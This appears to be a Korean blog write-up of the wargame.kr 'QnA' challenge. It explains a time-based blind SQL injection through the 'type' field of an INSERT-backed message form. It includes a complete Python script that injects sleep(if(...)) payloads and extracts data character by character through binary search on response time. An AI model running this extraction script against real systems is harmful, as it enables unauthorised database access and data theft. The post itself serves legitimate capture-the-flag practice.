White Security
[wargame.kr] QnA 문제풀이 본문
wargame.kr 사이트의 25번째 문제입니다.
Time based SQL Injection 문제
INSERT 쿼리 실행결과를 확인할 수 없더라도
SQL Injection 공격은 할 수 있습니다.
링크에 접속하면 자바스크립트로 효과를 넣어둔
텍스트 효과가 눈에 띕니다.
상단에 메뉴가 4개 존재하는데
조작이 가능한 곳은 맨우측의 JSMaster 페이지 뿐입니다.
관리자에게 보낼 메시지를 적을 수 있도록 되어 있는데
작성하고 send를 누르면 테이블에 저장이 되는 모양입니다.
전송하고 나면
쿼리의 실행 완료 메시지를 받아볼 수 있습니다.
type 파라미터 sleep 함수를 끼워넣으니 잘 작동합니다.
내부에 if문으로 둘러서 응답에 1초 이상이
걸린다면 조건식 결과가 참이라는 것을 확인할 수 있겠네요.
from urllib import request, parse from time import time import math, sys def if_query(query): data = parse.urlencode({ 'cont' : '', 'mail' : '', 'type' : 'sleep(if(' + query + ',3,0))' }).encode() begin = time() req = request.Request('http://wargame.kr:8080/qna/?page=to_jsmaster', data = data) response = request.urlopen(req) end = time() return end - begin >= 3 def check_greater_than(query, val): return if_query(query + '>=' + str(val)) def find_char(query): first = 0 last = 129 while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: last = mid return chr(first) def get_length(query): first = 0 last = 65 query = 'length(' + query + ')' while first < last - 1: mid = math.floor((first + last) / 2) if check_greater_than(query, mid): first = mid else: last = mid return first def get_content(name): name = '(' + name + ')' content_len = get_length(name); content = '' if content_len == 0: sys.stdout.write('Invalid request\n') return '' for idx in range(1, content_len + 1): content += find_char('ascii(substr(' + name + ', ' + str(idx) + ', 1))') sys.stdout.write('\r[' + str(content_len) + '] ' + content + '_' * (content_len - len(content))) sys.stdout.write('\n') return content if len(sys.argv) < 2: sys.stdout.write('Using: ' + sys.argv[0] + '\n') exit() content = get_content(' '.join(sys.argv[1:]))
'Wargame Writeups > wargame.kr' 카테고리의 다른 글
[wargame.kr] login with crypto! but.. 문제풀이 (0) | 2019.01.25 |
---|---|
[wargame.kr] dun worry about the vase 문제풀이 (0) | 2019.01.25 |
[wargame.kr] dmbs335 문제풀이 (0) | 2019.01.24 |
[wargame.kr] lonely guys 문제풀이 (0) | 2019.01.23 |
[wargame.kr] ip log table 문제풀이 (0) | 2019.01.23 |
Comments